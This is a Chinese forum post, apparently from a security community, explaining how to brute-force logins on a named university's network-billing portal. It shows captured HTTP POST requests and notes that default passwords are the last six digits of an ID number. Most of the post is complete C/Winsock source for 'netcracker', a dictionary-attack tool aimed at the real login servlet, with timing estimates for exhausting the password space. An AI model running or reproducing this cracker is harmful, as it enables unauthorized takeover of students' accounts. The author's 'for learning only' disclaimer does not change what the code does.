原创: by trojancyborg
在此感谢R.E.C--F22队长的帮助,自己在网上又搜了些资料,于是就有了此文。 好不容易今年考上大学,本以为大学上网可以用一个路由器,不料学校用的是一个客户端登陆软件,后来才清楚其实现在很多高校都是用的这种类似的登陆软件。
看到它的第一眼我就抓包,结果以失败告终,引用队长的话说就是底层队长抓包成功率很低。
俺很不服啊,于是用鼠标键盘事件的函数做了一个模仿登陆的程序来破解,不过速度之慢,我自己都不敢恭维,后来听室友小潘给了个建议,用充值时的登陆网页来做手脚。
我们的用户名长度都是13BYTE,按照XXXXXXX@cqupt这种格式的,
密码默认为身份证后6位,于是自己写了个后六位的密码生成器,网上也有下的,我就不多说了。
先用winsock抓包,账号密码分别填1234567@cqupt和123456结果如下
POST /servlet/LoginServlet HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/QVOD, application/QVOD, */*
Referer: http://gxsvr.online.cq.cn/servlet/IndexServlet
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727)
Host: gxsvr.online.cq.cn
Content-Length: 37
Connection: Keep-Alive
Cache-Control: no-cache
loginID=1234567@cqupt&password=123456
loginID和password分别对应账号和密码。
现在换个方便的工具吧,http发包抓包程序火狐专版.exe
填上地址http://gxsvr.online.cq.cn/servlet/IndexServlet,选择POST,点开始
“发出内容”里面其实就是提交的内容
如下:
POST /servlet/IndexServlet HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/msword, application/vnd.ms-powerpoint, */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0
Host: GXSVR.ONLINE.CQ.CN
Content-Type: application/x-www-form-urlencoded
左边就是发送的和收到的内容,
上面只是我们做的一个简单的测试。
下面我们根据第一次抓包的内容伪造一个账户密码的POST提交
在名为“发送数据”的控件里输入以下内容
loginID=1234567@cqupt&password=123456
点POST,开始,我们点下查看网页数据就能看见网页返回的数据了,
由于我们是随意的输入的数据,所以返回用户密码错误的提示
发送的数据内容:
POST /servlet/LoginServlet HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/msword, application/vnd.ms-powerpoint, */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate\
User-Agent: Mozilla/4.0
Content-Length: 37
Host: GXSVR.ONLINE.CQ.CN
Content-Type: application/x-www-form-urlencoded loginID=1234567@cqupt&password=123456; 我们换个正确的账号试试。点“开始”,然后点查看网页数据
返回的其实是登陆成功的页面信息。
好了,后面我就直接贴代码吧,根据返回数据中是否有“身份证”这个关键词判断密码是否正确。
程序模仿POST提交时发送的数据其实就是上图中“发出内容”控件中的内容
下面我直接贴代码吧。本来做了个多线程的,不过效果不理想,于是改成单线程了,如果有需要,可以自己改改。因为我做了测试后才发现其实速度都差不多了,因为服务器处理的能力有限,快的时候1S大概能破解30个左右,这样算下来,310000个密码大概三个钟头,实际上大概要5个钟头左右,因为连接到了一定数量,服务器的处理速度反而会下降,经常会连接不上,不过程序里也简单的做出了相应的处理。 //netcracker.cpp
//ver 1.0
#include "stdafx.h"
#include "stdio.h"
#include "winsock2.h"
#include <string.h>
#include <stdlib.h>
#include <dos.h>
#pragma comment(lib,"ws2_32.lib")
#define winsock_version 0x0101 int PostThreadFun(LPVOID lpParam);
char UserName[128]={0}; //待破解账号
char PwdDicName[128]={0}; //字典文件名
int delay; //延时
bool FindState=false;
bool FileState=true;
FILE *fp; //字典文件句柄 //////////////////////////////////////////////////////////////////////////////////////////////
//netcracker username pswdicname Threadnum delay
int main(int argc,char **argv)
{
WSADATA wsadata;
if(WSAStartup(winsock_version,&wsadata)) //初始化版本
{
printf("can't initial socket");
return 1;
}
printf("socket init ok\n");
if (argc<3)
{
printf("---------- netcracker v1.0 -----------------------\n");
printf("netcracker.exe username passworddicname [delayms]\n\n");
printf(" http:\\bbs.isbase.net\n");
printf(" by trojancyborg\n");
printf("ps:username must 13byte,password must be 6byte\n");
printf("example:\n");
printf("netcracker 1234567@cqupt dic.txt\n");
return 0;
} strcpy(UserName,argv[1]);
strcpy(PwdDicName,argv[2]);
delay=0; //延时初始化
if (argv[3]!=NULL)
delay=atoi(argv[3]);
if (delay<0)
delay=0;
else if (delay>6000)
delay=6000;
fp=fopen(PwdDicName,"r");//在主线程打开字典,全局文件句柄可被各个线程调用
if(!fp)
{
printf("open dic file error\n");
return 0;
} PostThreadFun(NULL);//模拟POST数据
fclose(fp);
printf("finish\n");
return 0;
}
//////////////////////////////////////////////////////////////////////
int PostThreadFun(LPVOID lpParam)
{ LPHOSTENT lphostent;
int nRet;
char* pstr;
char* host_name="gxsvr.online.cq.cn";
char pwd[100][10]={0};
int num;
int pwdnum; //实际读取的密码个数
int connecterror=0;
//post的内容
char req[]="POST /servlet/LoginServlet HTTP/1.0\r\n\
Accept: image/gif, image/x-xbitmap, image/jpeg\
, image/pjpeg, application/vnd.ms-excel\
, application/msword, application/vnd.ms-powerpoint, */*\r\n\
Accept-Language: en-us\r\n\
Accept-Encoding: gzip, deflate\r\n\
User-Agent: Mozilla/4.0\r\n\
Content-Length: 37\r\n\
Host: GXSVR.ONLINE.CQ.CN\r\n\
Content-Type: application/x-www-form-urlencoded\r\n\r\n\
loginID= ";
//loginID=XXXXXX@cqupt&password=XXXXXX"
pstr=strstr(req,"loginID=");//字段填充
pstr=pstr+strlen("loginID=");
strcpy(pstr,UserName);
pstr=strstr(req,UserName);
pstr=pstr+strlen(UserName);
strcpy(pstr,"&password=");
pstr=strstr(req,"&password=");
pstr=pstr+strlen("&password="); lphostent=gethostbyname(host_name);
if(lphostent==NULL)
{
printf("lphostent is null\n");
return 1;
} while (!FindState && FileState) //当密码未找到,字典未读取完时继续循环
{
num=0;
while((FileState=(fscanf(fp,"%s",pwd[num]))>0)) //读取字典文件,每次读取100个密码
{
num++;
if (num==100) break;
}
pwdnum=num; //保存实际读取的密码个数
num=0;
while (num<pwdnum && !FindState) //逐一将读取的密码进行POST操作
{
if (strlen(pwd[num])==6) //判断密码的长度,默认是6BYTE
//账户和密码的长度会影响到Content-Length字段的值 //详见:Content-Length: 37\r\n
strcpy(pstr,pwd[num]); //初始化密码
else
{
printf("password format error!: %s\n",pstr);
num++;
continue;
}
SOCKADDR_IN stServer;
SOCKET hsocket;
hsocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
stServer.sin_family = AF_INET;
stServer.sin_port = htons(80);
stServer.sin_addr = *((LPIN_ADDR)*lphostent->h_addr_list);
nRet = connect(hsocket, (LPSOCKADDR)&stServer, sizeof(SOCKADDR_IN));
if (nRet == SOCKET_ERROR)
{
connecterror++;
printf("can't connect times:%d pwd:%s \n",connecterror,pwd[num]);
closesocket(hsocket);
if (connecterror==20) return 1;//如果连续二十次未连接成功,中断改线程
Sleep(2000);
continue;//重新连接,继续尝试改密码
} nRet = send(hsocket,req,strlen(req),0);
if (nRet == SOCKET_ERROR)
{
printf("send() failed\n");
closesocket(hsocket);
continue;
}
char dest[10240];
nRet=1;
while(nRet>0)
{
nRet=recv(hsocket,(LPSTR)dest,sizeof(dest),0);
if(nRet>0)
dest[nRet]=0;
else
dest[0]=0;
if (strstr(dest,"身份证"))
{//state=true;
printf("**********************************************************\n");
printf("find password !!user:%s password:%s\n",UserName,pwd[num]);
printf("**********************************************************\n");
FILE *psave;
psave=fopen("result.txt","a");
fprintf(psave,"user:%s password:%s \n",UserName,pwd[num]);
fclose(psave);
FindState=true; //找到密码,让其他线程终止
}
}
printf("user:%s pwd: %s\n",UserName,pwd[num]);
connecterror=0;//连接错误数量置0
closesocket(hsocket);
num++;
Sleep(delay);
}
}
return 0;
}
简单的说,对于POST的数据,一个send函数就行了,关键在于发送的数据内容,只要抓包后按固定的格式依样画葫芦就OK了,网站返回的数据用recv就行了。
用我自己的账号做了个测试,运行结果如下:
(红色部分就是跑出来的密码)
后记:本文章仅仅给大家一个简单的实例,请不要将此程序用于非法用途,仅供学习,千万不要搞破坏。
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
上传的附件: